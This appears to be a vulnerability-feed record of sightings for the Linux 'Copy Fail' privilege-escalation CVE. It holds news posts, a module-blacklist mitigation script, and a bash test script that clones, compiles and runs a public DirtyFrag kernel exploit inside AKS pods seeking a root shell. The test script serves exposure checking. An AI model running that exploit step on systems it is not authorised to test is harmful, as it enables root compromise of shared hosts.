"33136d9d-3f4a-4bb7-9666-eaaf0ddfae0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/83467", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a copy_fail_mitigation\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a vorkampfer\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-09 04:40:24\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nThis script will attempt to mitigate the copy_fail attack. CVE-2026-31431\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-09T05:00:04.000000Z"}, {"uuid": "d8e2498a-9991-43c1-bfde-ece8867e8977", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/83478", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a copy-fail-cve-2026-31431-linux-kernel-page-cache-lpe\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Hunt-Benito\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-09 06:57:17\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-09T07:00:04.000000Z"}, {"uuid": "53dd9450-e70f-43b4-8271-ef11d073704d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/linux.activitypub.awakari.com.ap.brid.gy/post/3mlfshfslugt2", "content": "Daniel Baumann: Debian: Linux Vulnerability Mitigation (Dirty Frag) After Copy Fail [ CVE-2026-31431 ] from last week, the new Linux local root privilege escalations of today are Dirty Frag (Part 1...\n\n\nOrigin | Interest | Match", "creation_timestamp": "2026-05-09T08:14:44.826066Z"}, {"uuid": "7cc5df2e-8fee-464b-88b0-0d151249a166", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/ytroncal.bsky.social/post/3mlfvbi7qic2y", "content": "CVE-2026-31431: Copy Fail retr0.zip/blog/cve-202...", "creation_timestamp": "2026-05-09T09:05:01.323856Z"}, {"uuid": "0466b9c5-8cfd-4240-8436-3d1b4001be19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/kzzalews/dc37275ebd58c0367245260abd1b5145", "content": "#!/usr/bin/env bash\n# =============================================================================\n# DirtyFrag & Copy Fail \u2014 Empirical Exploitability Test\n# Target:  Any AKS cluster (Ubuntu 22.04, kernel 5.15.x-azure)\n# CVEs:    CVE-2026-43284 (DirtyFrag xfrm-ESP)\n#          CVE-2026-43500 (DirtyFrag RxRPC)\n#          CVE-2026-31431 (Copy Fail / algif_aead)\n# Advisory: https://github.com/Azure/AKS/issues/5753\n# Author:  Karol Zalewski / Aiko (Claude Sonnet 4.6) \u2014 2026-05-09\n#\n# USAGE:\n#   Set AZ_RG, AZ_CLUSTER, KUBE_CONTEXT below to match your cluster,\n#   then run:  ./dirtyfrag-cve-test.sh 2>&1 | tee results.txt\n#\n# WARNING: This script compiles and executes a public exploit PoC\n#   (V4bel/dirtyfrag). Run only in DEV/test environments, with\n#   explicit team approval, and only if you are authorised to do so.\n# =============================================================================\n\nset -euo pipefail\n\n# --- config \u2014 EDIT THESE -----------------------------------------------------\nAZ_RG=\"example-rg\"                      # Azure resource group of the cluster\nAZ_CLUSTER=\"example-cluster\"            # AKS cluster name\nKUBE_CONTEXT=\"example-cluster\"          # kubectl context name\nNAMESPACE=\"default\"\nTEST_NODE_POOL=\"nodepool1\"               # picks first schedulable node from this pool\nPOD_DIRTYFRAG=\"dirtyfrag-test\"\nPOD_COPYFAIL=\"copyfail-test\"\n# -----------------------------------------------------------------------------\n\nRED='\\033[0;31m'; YELLOW='\\033[1;33m'; GREEN='\\033[0;32m'; CYAN='\\033[0;36m'; NC='\\033[0m'\n\nlog()  { echo -e \"${CYAN}[$(date +%H:%M:%S)]${NC} $*\"; }\nok()   { echo -e \"${GREEN}[OK]${NC} $*\"; }\nwarn() { echo -e \"${YELLOW}[WARN]${NC} $*\"; }\nerr()  { echo -e \"${RED}[ERROR]${NC} $*\"; }\n\nconfirm() {\n  local msg=\"${1:-Continue?}\"\n  echo \"\"\n  read -r -p \"$(echo -e \"${YELLOW}>>> ${msg} [y/N] ${NC}\")\" ans\n  [[ \"${ans}\" =~ ^[Yy]$ ]] || { warn \"Skipped by user.\"; return 1; }\n}\n\n# --- cleanup -----------------------------------------------------------------\nCLEANUP_DONE=0\ncleanup() {\n  [[ ${CLEANUP_DONE} -eq 1 ]] && return\n  CLEANUP_DONE=1\n  echo \"\"\n  warn \"=== CLEANUP ===\"\n  kubectl --context \"${KUBE_CONTEXT}\" delete pod \"${POD_DIRTYFRAG}\" \"${POD_COPYFAIL}\" \\\n    --force --ignore-not-found --namespace \"${NAMESPACE}\" 2>/dev/null || true\n  ok \"Test pods removed.\"\n}\ntrap cleanup EXIT INT TERM\n\n# =============================================================================\n# STEP 0 \u2014 Fetch kubeconfig & switch context\n# =============================================================================\necho \"\"\necho -e \"${CYAN}========================================${NC}\"\necho -e \"${CYAN}  DirtyFrag / Copy Fail \u2014 CVE Test     ${NC}\"\necho -e \"${CYAN}========================================${NC}\"\necho \"\"\n\nlog \"Step 0: Fetching kubeconfig for ${AZ_CLUSTER} (RG: ${AZ_RG})\"\naz aks get-credentials \\\n  --resource-group \"${AZ_RG}\" \\\n  --name \"${AZ_CLUSTER}\" \\\n  --overwrite-existing\nok \"Kubeconfig merged.\"\n\nkubectl config use-context \"${KUBE_CONTEXT}\"\nok \"Context set to: ${KUBE_CONTEXT}\"\n\n# --- sanity check ------------------------------------------------------------\nlog \"Verifying node state...\"\nkubectl --context \"${KUBE_CONTEXT}\" get nodes \\\n  -o custom-columns=\"NAME:.metadata.name,STATUS:.status.conditions[-1].type,KERNEL:.status.nodeInfo.kernelVersion,SCHED:.spec.unschedulable\" \\\n  2>/dev/null || true\necho \"\"\n\n# Pick first schedulable node from the target pool\nTARGET_NODE=$(kubectl --context \"${KUBE_CONTEXT}\" get nodes \\\n  --no-headers \\\n  -o custom-columns=\"NAME:.metadata.name,SCHED:.spec.unschedulable\" \\\n  2>/dev/null \\\n  | awk -v pool=\"${TEST_NODE_POOL}\" '$1 ~ pool && $2 == \"\" {print $1; exit}')\n\nif [[ -z \"${TARGET_NODE}\" ]]; then\n  err \"No schedulable '${TEST_NODE_POOL}' node found. Check node status above and re-run.\"\n  exit 1\nfi\nok \"Target node: ${TARGET_NODE}\"\n\n# =============================================================================\n# STEP 1 \u2014 DirtyFrag xfrm-ESP (CVE-2026-43284) \u2014 THE KEY QUESTION\n# =============================================================================\necho \"\"\necho -e \"${CYAN}--- Step 1: DirtyFrag xfrm-ESP (CVE-2026-43284) ---${NC}\"\nwarn \"This step compiles and runs the researcher PoC (V4bel/dirtyfrag).\"\nwarn \"Expected outcomes:\"\nwarn \"  ROOT SHELL   \u2192 kernel 5.15 IS vulnerable to xfrm-ESP; AKS advisory incorrect\"\nwarn \"  EXPLOIT FAIL \u2192 kernel 5.15 is NOT vulnerable; AKS advisory correct\"\necho \"\"\n\nconfirm \"Run DirtyFrag xfrm-ESP test on ${TARGET_NODE}?\" || { warn \"Skipping Step 1.\"; goto_step2=1; }\n\nif [[ -z \"${goto_step2:-}\" ]]; then\n  log \"Spawning compiler pod (gcc:13) on ${TARGET_NODE}...\"\n  kubectl --context \"${KUBE_CONTEXT}\" run \"${POD_DIRTYFRAG}\" \\\n    --image=gcc:13 \\\n    --restart=Never \\\n    --namespace \"${NAMESPACE}\" \\\n    --overrides=\"$(printf '{\n      \"spec\": {\n        \"nodeSelector\": {\"kubernetes.io/hostname\": \"%s\"},\n        \"tolerations\": [{\"operator\": \"Exists\"}]\n      }\n    }' \"${TARGET_NODE}\")\" \\\n    -- sleep 1800\n\n  log \"Waiting for pod to be Ready (up to 120s)...\"\n  kubectl --context \"${KUBE_CONTEXT}\" wait pod/\"${POD_DIRTYFRAG}\" \\\n    --for=condition=Ready --timeout=120s --namespace \"${NAMESPACE}\"\n  ok \"Pod ready.\"\n\n  KERNEL=$(kubectl --context \"${KUBE_CONTEXT}\" exec \"${POD_DIRTYFRAG}\" \\\n    --namespace \"${NAMESPACE}\" -- uname -r 2>/dev/null)\n  log \"Kernel on node: ${KERNEL}\"\n\n  log \"Cloning and compiling DirtyFrag PoC inside pod...\"\n  kubectl --context \"${KUBE_CONTEXT}\" exec \"${POD_DIRTYFRAG}\" \\\n    --namespace \"${NAMESPACE}\" -- bash -c '\n      git clone https://github.com/V4bel/dirtyfrag.git /tmp/dirtyfrag 2>&1\n      cd /tmp/dirtyfrag\n      gcc -O0 -Wall -o exp exp.c -lutil 2>&1\n      echo \"[COMPILE OK] binary: /tmp/dirtyfrag/exp\"\n    '\n\n  echo \"\"\n  warn \"About to execute the exploit as UID 65534 (nobody) inside the pod.\"\n  warn \"Watch for: root shell, uid=0, or /etc/passwd modification.\"\n  warn \"If you get a root prompt inside the pod, type 'exit' to return.\"\n  confirm \"Execute ./exp inside pod?\" || { warn \"Exploit execution skipped.\"; }\n\n  echo \"\"\n  echo -e \"${RED}=== EXPLOIT OUTPUT START ===${NC}\"\n  kubectl --context \"${KUBE_CONTEXT}\" exec -it \"${POD_DIRTYFRAG}\" \\\n    --namespace \"${NAMESPACE}\" -- \\\n    bash -c 'cd /tmp/dirtyfrag && su -s /bin/bash nobody -c \"./exp\" 2>&1 || ./exp' \\\n    || true\n  echo -e \"${RED}=== EXPLOIT OUTPUT END ===${NC}\"\n  echo \"\"\n\n  log \"Step 1 cleanup: clearing page cache and unloading modules on node...\"\n  kubectl --context \"${KUBE_CONTEXT}\" exec \"${POD_DIRTYFRAG}\" \\\n    --namespace \"${NAMESPACE}\" -- \\\n    bash -c 'echo 3 > /proc/sys/vm/drop_caches 2>/dev/null; rmmod esp4 esp6 rxrpc 2>/dev/null; echo \"cleanup done\"' \\\n    || warn \"Page cache flush may require privileged access \u2014 check node manually if exploit succeeded.\"\n\n  kubectl --context \"${KUBE_CONTEXT}\" delete pod \"${POD_DIRTYFRAG}\" \\\n    --force --ignore-not-found --namespace \"${NAMESPACE}\" 2>/dev/null || true\n  ok \"Step 1 pod removed.\"\nfi\n\n# =============================================================================\n# STEP 2 \u2014 DirtyFrag RxRPC (CVE-2026-43500) \u2014 expected FAIL on 5.15\n# =============================================================================\necho \"\"\necho -e \"${CYAN}--- Step 2: DirtyFrag RxRPC (CVE-2026-43500) ---${NC}\"\nwarn \"Expected: FAIL. Both AKS advisory and researcher agree RxRPC requires kernel >= 6.4.\"\nwarn \"This step confirms that kernel 5.15 is out-of-range for the RxRPC chain.\"\necho \"\"\n\nconfirm \"Run DirtyFrag RxRPC test (expected fail)?\" || { warn \"Skipping Step 2.\"; }\n\nif [[ \"${BASH_REMATCH[0]}\" != \"\" ]] || true; then\n  log \"Re-using same pod setup for Step 2...\"\n  kubectl --context \"${KUBE_CONTEXT}\" run \"${POD_DIRTYFRAG}\" \\\n    --image=gcc:13 \\\n    --restart=Never \\\n    --namespace \"${NAMESPACE}\" \\\n    --overrides=\"$(printf '{\n      \"spec\": {\n        \"nodeSelector\": {\"kubernetes.io/hostname\": \"%s\"},\n        \"tolerations\": [{\"operator\": \"Exists\"}]\n      }\n    }' \"${TARGET_NODE}\")\" \\\n    -- sleep 600 2>/dev/null || true\n\n  kubectl --context \"${KUBE_CONTEXT}\" wait pod/\"${POD_DIRTYFRAG}\" \\\n    --for=condition=Ready --timeout=120s --namespace \"${NAMESPACE}\" 2>/dev/null || true\n\n  log \"Checking if rxrpc module loads on 5.15...\"\n  echo -e \"${RED}=== RXRPC MODULE CHECK ===${NC}\"\n  kubectl --context \"${KUBE_CONTEXT}\" exec \"${POD_DIRTYFRAG}\" \\\n    --namespace \"${NAMESPACE}\" -- \\\n    bash -c '\n      uname -r\n      echo \"Attempting to load rxrpc...\"\n      modprobe rxrpc 2>&1 || echo \"modprobe rxrpc: failed (expected on 5.15 if module not present)\"\n      lsmod | grep rxrpc || echo \"rxrpc: not loaded\"\n      ls /lib/modules/$(uname -r)/kernel/net/rxrpc/ 2>/dev/null || echo \"rxrpc module directory: not found (kernel too old)\"\n    ' || true\n  echo -e \"${RED}=== END ===${NC}\"\n\n  kubectl --context \"${KUBE_CONTEXT}\" delete pod \"${POD_DIRTYFRAG}\" \\\n    --force --ignore-not-found --namespace \"${NAMESPACE}\" 2>/dev/null || true\n  ok \"Step 2 done.\"\nfi\n\n# =============================================================================\n# STEP 3 \u2014 Copy Fail baseline (CVE-2026-31431)\n# =============================================================================\necho \"\"\necho -e \"${CYAN}--- Step 3: Copy Fail baseline (CVE-2026-31431) ---${NC}\"\nwarn \"Non-root pod (UID 1000). Tests whether AF_ALG socket auto-loads algif_aead.\"\nwarn \"Expected to succeed on nodes WITHOUT an algif_aead blacklist.\"\necho \"\"\n\nconfirm \"Run Copy Fail baseline test?\" || { warn \"Skipping Step 3.\"; exit 0; }\n\nlog \"Spawning non-root pod (python:3.12-slim, UID 1000)...\"\nkubectl --context \"${KUBE_CONTEXT}\" run \"${POD_COPYFAIL}\" \\\n  --image=python:3.12-slim \\\n  --restart=Never \\\n  --namespace \"${NAMESPACE}\" \\\n  --overrides=\"$(printf '{\n    \"spec\": {\n      \"securityContext\": {\"runAsNonRoot\": true, \"runAsUser\": 1000, \"runAsGroup\": 1000},\n      \"nodeSelector\": {\"kubernetes.io/hostname\": \"%s\"},\n      \"tolerations\": [{\"operator\": \"Exists\"}]\n    }\n  }' \"${TARGET_NODE}\")\" \\\n  -- sleep 600\n\nkubectl --context \"${KUBE_CONTEXT}\" wait pod/\"${POD_COPYFAIL}\" \\\n  --for=condition=Ready --timeout=120s --namespace \"${NAMESPACE}\"\nok \"Pod ready.\"\n\necho \"\"\necho -e \"${RED}=== COPY FAIL \u2014 AF_ALG SOCKET TEST ===${NC}\"\nkubectl --context \"${KUBE_CONTEXT}\" exec \"${POD_COPYFAIL}\" \\\n  --namespace \"${NAMESPACE}\" -- \\\n  python3 -c \"\nimport socket, os\nprint('Running as UID:', os.getuid())\nprint('Kernel:', open('/proc/version').read().split()[2])\ntry:\n    s = socket.socket(38, 5, 0)  # AF_ALG, SOCK_SEQPACKET\n    s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))'))\n    print('RESULT: algif_aead auto-loaded via AF_ALG socket')\n    print('VERDICT: Node IS vulnerable to Copy Fail (CVE-2026-31431)')\n    s.close()\nexcept PermissionError as e:\n    print('RESULT: AF_ALG bind blocked -', e)\n    print('VERDICT: algif_aead blacklist active OR module unavailable')\nexcept OSError as e:\n    print('RESULT: AF_ALG socket error -', e)\n    print('VERDICT: Module not loadable (kernel too old or not present)')\n\" 2>&1 || true\necho -e \"${RED}=== END ===${NC}\"\n\nkubectl --context \"${KUBE_CONTEXT}\" delete pod \"${POD_COPYFAIL}\" \\\n  --force --ignore-not-found --namespace \"${NAMESPACE}\" 2>/dev/null || true\nok \"Step 3 done.\"\n\n# =============================================================================\n# SUMMARY\n# =============================================================================\necho \"\"\necho -e \"${CYAN}========================================${NC}\"\necho -e \"${CYAN}  Test complete.                        ${NC}\"\necho -e \"${CYAN}========================================${NC}\"\necho \"\"\necho \"Key things to note:\"\necho \"  - Step 1: Did ./exp produce a root shell? (y/n + full output)\"\necho \"  - Step 2: Was rxrpc.ko present on 5.15? (expected: no)\"\necho \"  - Step 3: Did AF_ALG socket load algif_aead? (expected: yes on unmitigated node)\"\necho \"  - Node: ${TARGET_NODE} / Context: ${KUBE_CONTEXT}\"\necho \"\"\n", "creation_timestamp": "2026-05-09T10:18:18.000000Z"}, {"uuid": "d9450f34-7cd0-4f42-813c-d0de7115d731", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/pigondrugs.bsky.social/post/3mlgb2yg54o2f", "content": "@elastic.co\nCopy Fail and DirtyFrag are actively exploited Linux kernel bugs allowing local privilege escalation to root.\n-\nIOCs: CVE-2026-31431\n-\n#CVE202631431 #Linux #ThreatIntel", "creation_timestamp": "2026-05-09T12:36:08.218006Z"}, {"uuid": "97189663-ba3a-41b6-b0d3-9ff9f11de73f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/harushark3.bsky.social/post/3mlgeqijbls2k", "content": "[JP] 2026\u5e74\u306e\u65b0\u8106\u5f31\u6027\u300cCopy Fail\u300d\u8972\u6765\uff01Podman\u30eb\u30fc\u30c8\u30ec\u30b9\u74b0\u5883\u3078\u306e\u5f71\u97ff\u3068\u9632\u885b\u7b56\n[EN] The Arrival of the New Vulnerability \"Copy Fail\" in 2026! Impacts and Defenses for Podman''s\u2026\n\nhttps://ai-minor.com/blog/en/2026-05-09-1778322084176-podman_rootless_containers_and_the_copy_fail_explo\n\n#CopyFail #Podman #CVE-2026-31431 #AI #Tech", "creation_timestamp": "2026-05-09T13:41:50.707606Z"}, {"uuid": "259ae820-b547-4402-892f-68106ce8f217", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/crustytldr.bsky.social/post/3mlgfxldttv2v", "content": "\ud83d\udd12 Copy/Fail Detection Script (CI/CD)(CVE-2026-31431)\n\nA detection script for the \"Copy/Fail\" vulnerability (CVE-2026-31431) affecting CI/CD systems is now available on GitHub. This tool hel...\n\nhttps://is.gd/2DliOx #CyberSecurity #InfoSec #CrustyTLDR", "creation_timestamp": "2026-05-09T14:03:41.935774Z"}, {"uuid": "f0f50c5e-a606-4cdd-a4c4-e55ce2ef14b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/mpjgregoire.cosocial.ca.ap.brid.gy/post/3mlgfyx3hmr32", "content": "Hmmm. #Debian is stepping on the gas with #Linux kernel updates these days. The obvious explanation is that they're dealing with the copy.fail security hole, but I think that's been mostly resolved ( https://security-tracker.debian.org/tracker/CVE-2026-31431 ).\n\nPossibly copy.fail is the first [\u2026]", "creation_timestamp": "2026-05-09T14:04:34.644573Z"}, {"uuid": "6e54b950-e248-4ff3-99d8-fdd9aad38b23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/bottiger1/83d95b500a135a7283504995082a87dd", "content": "#!/usr/bin/env bash\n# CVE-2026-31431 (Copy Fail) | CVE-2026-43284 / CVE-2026-43500 (Dirty Frag)\nset -euo pipefail\n\nRED='\\033[0;31m'; YEL='\\033[1;33m'; GRN='\\033[0;32m'; NC='\\033[0m'\nok()   { echo -e \"  [${GRN}OK${NC}]   $*\"; }\nwarn() { echo -e \"  [${YEL}WARN${NC}] $*\"; }\nerr()  { echo -e \"  [${RED}FAIL${NC}] $*\"; }\n\nCONF=\"/etc/modprobe.d/dirtyfrag.conf\"\nMODS=(algif_aead esp4 esp6 rxrpc)\n\n[[ $EUID -eq 0 ]] || { err \"Run as root\"; exit 1; }\n\nprintf 'install %s /bin/false\\n' \"${MODS[@]}\" > \"$CONF\"\nok \"Wrote $CONF\"\n\nfor mod in \"${MODS[@]}\"; do\n    if lsmod | grep -q \"^${mod} \"; then\n        rmmod \"$mod\" 2>/dev/null && ok \"Unloaded $mod\" || warn \"Could not unload $mod \u2014 reboot needed\"\n    else\n        ok \"Not loaded: $mod\"\n    fi\ndone\n\necho -e \"\\nVerification:\"\nall_ok=true\nfor mod in \"${MODS[@]}\"; do\n    grep -q \"install ${mod} /bin/false\" \"$CONF\" 2>/dev/null \\\n        && ok \"Blocked: $mod\" || { err \"Rule missing: $mod\"; all_ok=false; }\n    lsmod | grep -q \"^${mod} \" \\\n        && { warn \"Still loaded: $mod \u2014 reboot required\"; all_ok=false; }\ndone\n\n$all_ok && echo -e \"\\n${GRN}\u2714 Done.${NC}\" || echo -e \"\\n${YEL}\u26a0 Reboot to complete.${NC}\"", "creation_timestamp": "2026-05-09T20:54:35.000000Z"}, {"uuid": "000de011-dd67-471b-9b77-817812f972fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mlh5vn34kk2x", "content": "Linux\u30ab\u30fc\u30cd\u30eb\u306b\u6a29\u9650\u6607\u683c\u306e\u8106\u5f31\u6027\u300cCopy Fail\u300d - PoC\u516c\u958b\u6e08\u307f\n\nLinux\u30ab\u30fc\u30cd\u30eb\u306b\u6a29\u9650\u6607\u683c\u306e\u8106\u5f31\u6027\u304c\u78ba\u8a8d\u3055\u308c\u305f\u3002\u4e3b\u8981\u30c7\u30a3\u30b9\u30c8\u30ea\u30d3\u30e5\u30fc\u30b7\u30e7\u30f3\u304c\u5f71\u97ff\u3092\u53d7\u3051\u308b\u3068\u3055\u308c\u3066\u304a\u308a\u3001\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u304c\u547c\u3073\u304b\u3051\u3089\u308c\u3066\u3044\u308b\u3002\n\n\u30ed\u30fc\u30ab\u30eb\u30e6\u30fc\u30b6\u304croot\u6a29\u9650\u3092\u53d6\u5f97\u3067\u304d\u308b\u8106\u5f31\u6027\u300cCVE-2026-31431\u300d\u304c\u660e\u3089\u304b\u3068\u306a\u3063\u305f\u3082\u306e\u3002\u5225\u540d\u300cCopy Fail\u300d\u3068\u3082\u540d\u4ed8\u3051\u3089\u308c\u3066\u3044\u308b\u3002\n\n\u539f\u56e0\u3068\u3055\u308c\u308b\u30ab\u30fc\u30cd\u30eb\u6697\u53f7\u5316API\u306e\u30e6\u30fc\u30b6\u30fc\u7a7a\u9593\u30a4\u30f3\u30bf\u30fc\u30d5\u30a7\u30fc\u30b9\u306f\u30012017\u5e74\u4ee5\u964d\u306b\u30ea\u30ea\u30fc\u30b9\u3055\u308c\u305f\u307b\u307c\u3059\u3079\u3066\u306e\u30c7\u30a3\u30b9\u30c8\u30ea\u30d3\u30e5\u30fc\u30b7\u30e7\u30f3\u304c\u30c7\u30d5\u30a9\u30eb\u30c8\u8a2d\u5b9a\u3067\u6709\u52b9\u5316\u3055\u308c\u3066\u304a\u308a\u3001\u5f71\u97ff\u3092\u53d7\u3051\u308b\u3068\u3044\u3046\u3002\n\n\u8907\u6570\u306e\u30e6\u30fc\u30b6\u30fc\u304c\u5229\u7528\u3059\u308b\u30de\u30eb...", "creation_timestamp": "2026-05-09T21:12:08.237156Z"}, {"uuid": "2fba49fd-70be-4e92-8276-128ddc852aed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mlh66ow4ec2x", "content": "CISA Adds One Known Exploited Vulnerability to Catalog\nRelease Date May 01, 2026\n\nCVE-2026-31431 Linux Kernel Incorrect Resource Transfer Between Spheres Vulnerability", "creation_timestamp": "2026-05-09T21:17:12.273887Z"}, {"uuid": "dca7452e-e0f4-4a00-9121-6db41cbce63d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mlh6b54ofc2x", "content": "CVE-2026-31431: \u30b3\u30d4\u30fc\u5931\u6557\u306e\u8106\u5f31\u6027\u306b\u3088\u308a\u3001\u30af\u30e9\u30a6\u30c9\u74b0\u5883\u5168\u4f53\u3067Linux\u306eroot\u6a29\u9650\u6607\u683c\u304c\u53ef\u80fd\u306b\u306a\u308b\n\nMicrosoft Defender \u306f\u3001Red Hat\u3001SUSE\u3001Ubuntu\u3001AWS Linux \u306a\u3069\u3001\u8907\u6570\u306e\u4e3b\u8981\u306a Linux \u30c7\u30a3\u30b9\u30c8\u30ea\u30d3\u30e5\u30fc\u30b7\u30e7\u30f3\u306b\u5f71\u97ff\u3092\u4e0e\u3048\u308b\u3001\u6df1\u523b\u5ea6\u306e\u9ad8\u3044\u30ed\u30fc\u30ab\u30eb\u6a29\u9650\u6607\u683c\u306e\u8106\u5f31\u6027 ( CVE-2026-31431 ) \u3092\u8abf\u67fb\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u306e\u8106\u5f31\u6027\u306b\u3088\u308a\u3001\u6a29\u9650\u304c\u4e0d\u6b63\u306b root \u30ec\u30d9\u30eb\u307e\u3067\u6607\u683c\u3055\u308c\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u3001\u30af\u30e9\u30a6\u30c9 Linux \u30ef\u30fc\u30af\u30ed\u30fc\u30c9\u306e\u5927\u90e8\u5206\u3068\u6570\u767e\u4e07\u306e Kubernetes \u30af\u30e9\u30b9\u30bf\u30fc\u306b\u5f71\u97ff\u3092\u53ca\u307c\u3057\u307e\u3059\u3002\u5b9f\u969b\u306e\u60aa\u7528\u306f\u9650\u5b9a\u7684\u3067\u3001\u4e3b\u306b...", "creation_timestamp": "2026-05-09T21:18:37.049121Z"}, {"uuid": "a1cb1c04-1a7d-438b-9c06-e165ad9a42dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mlh6jdddek2x", "content": "CISA\u304c\u3001\u60aa\u7528\u3055\u308c\u3066\u3044\u308bLinux\u30eb\u30fc\u30c8\u30a2\u30af\u30bb\u30b9\u8106\u5f31\u6027CVE-2026-31431\u3092KEV\u306b\u8ffd\u52a0\n\n\u7c73\u56fd\u306e\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30fb\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5e81\uff08CISA\uff09\u306f\u91d1\u66dc\u65e5\u3001\u69d8\u3005\u306aLinux\u30c7\u30a3\u30b9\u30c8\u30ea\u30d3\u30e5\u30fc\u30b7\u30e7\u30f3\u306b\u5f71\u97ff\u3092\u4e0e\u3048\u308b\u6700\u8fd1\u660e\u3089\u304b\u306b\u306a\u3063\u305f\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u4e0a\u306e\u6b20\u9665\u3092\u3001\u65e2\u77e5\u306e\u60aa\u7528\u4e8b\u4f8b\uff08KEV 